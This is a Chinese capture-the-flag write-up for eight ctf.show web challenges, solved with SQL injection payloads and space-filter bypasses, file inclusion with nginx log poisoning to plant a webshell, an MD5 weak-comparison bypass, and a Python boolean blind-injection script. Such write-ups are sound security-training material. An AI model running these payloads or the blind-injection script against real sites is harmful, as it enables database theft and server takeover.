文章目录

web签到题–查看源码
直接查看页面源代码,在源代码中 得到一串base64编码,解码即是flag
web2–SQL注入
1、开启题目后发现是一个登录框,直接尝试万能密码,可以得到回显:
万能密码:
1' or 1#
2、得到回显后,直接使用union联合注入,找到页面回显点,由于此处不知都为啥我的Hackbar使用出现问题,使用burp来发送数据包,在burp内将数据包发送到Repeater模块,然后传入攻击语句,即可在Response中的渲染内,看到出现回显点
3、找到回显点后,即可按顺序爆表、列、字段即可获得flag
表:1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
列:1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="flag"#
字段:1' union select 1,group_concat(flag),3 from flag#
web3–input伪协议/log注入
1、开启题目后,看到页面提示中有一串文件包含的php命令,由于是文件包含,直接尝试input协议,但是很奇怪嗷,我当时做的使用使用input协议回显为error,但是这次就出来了:
2、但是本题还有一个漏洞点,假设我们现在input协议无法使用,且从数据包的回显中可以看出,该靶场服务器为ngix系统,那么通过文件包含查看其日志文件:
?url=/var/log/nginx/access.log
可以看出,日志就是将数据包的User-Agent中的内容写入了,那么尝试在User-Agent头中写入一句话木马:
发送到服务器后,包含刚刚的日志文件,发现没有这行一句话木马的信息,证明此时我的木马被服务器解析了,那么就可以直接使用蚁剑来进行连接:
蚁剑链接后,就可以在ctf_go_go_go中得到flag
Web4–log注入
本题与web3的第二种方法做法相同,在user-agent头后写一句话木马,包含日志文件后即可通过蚁剑连接
Web5–代码审计
本题需要传入两个参数,分别是v1和v2
isset():用于检测变量是否已设置并且非 NULL;
ctype_alpha():用于检查给定的字符串是否仅包含字母;
is_numeric():用于检测变量是否为数字或数字字符串;
md5():计算字符串的 MD5 散列;
对于本题来说,需要传入两个参数v1和v2,并且v1必须为仅包含字母的字符串,v2必须为数字或数字字符串,那么此处就可以利用md5的弱类型比较来绕过,参考其中的0e绕过:https://blog.youkuaiyun.com/weixin_43332695/article/details/119349204
设置payload:
?v1=QNKCDZO&v2=240610708
Web6–SQL注入,但是过滤
看到登录框,同样先尝试我们的万能密码:
username=admin' or 1#&password=123
发现此时出现了过滤信息,在对上述语句一个一个尝试后,发现过滤了空格,在SQL注入中,可以使用()或/**/来绕过空格:
username=admin'or(1)#&password=123
username=admin'/**/or/**/1#&password=123
成功绕过,然后构造将空格替换为/**/的语句即可得出flag:
username=admin'union/**/select/**/1,2,3#&password=123
username=admin'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#&password=123
username=admin'union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name="flag"#&password=123
username=admin'union/**/select/**/1,group_concat(flag),3/**/from/**/flag#&password=123
Web7–SQL注入
本题开启后,随意点击一个文章,可以发现url地址中有一个参数id,猜测有SQL注入点
使用payload尝试,发现过滤了空格,则构造:
?id=1'/**/or/**/1#
http://e780cea5-07c7-4539-98a8-256b33349b15.challenge.ctf.show/index.php?id=1'/**/union/**/select/**/1,2,3#
http://e780cea5-07c7-4539-98a8-256b33349b15.challenge.ctf.show/index.php?id=1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
http://e780cea5-07c7-4539-98a8-256b33349b15.challenge.ctf.show/index.php?id=1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name="flag"#
http://e780cea5-07c7-4539-98a8-256b33349b15.challenge.ctf.show/index.php?id=1'/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#
Web8–脚本布尔盲注
经过一系列payload的尝试后,发现本题过滤了空格、union、and、逗号等,这也意味着无法使用联合查询了,那么此时就需要我们编写脚本来解决:
import requests
url = 'http://42663f6e-29cf-493e-9d72-80872db16864.challenge.ctf.show/index.php?id=-1/**/or/**/'
name = ''
# 循环100次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 80):
# 获取当前使用的数据库
# payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
# 获取当前数据库的所有表
# payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
# 获取flag表的字段
# payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
# 获取flag表的数据
payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
count = 0
print('正在获取第 %d 个字符' % i)
# 截取SQL查询结果的每个字符, 并判断字符内容
for j in range(31, 128):
result = requests.get(url + payload % (i, j))
if 'If' in result.text:
name += chr(j)
print('数据库名/表名/字段名/数据: %s' % name)
break
# 如果某个字符不存在,则停止程序
count += 1
if count >= (128 - 31):
exit()
程序十分钟内跑出flag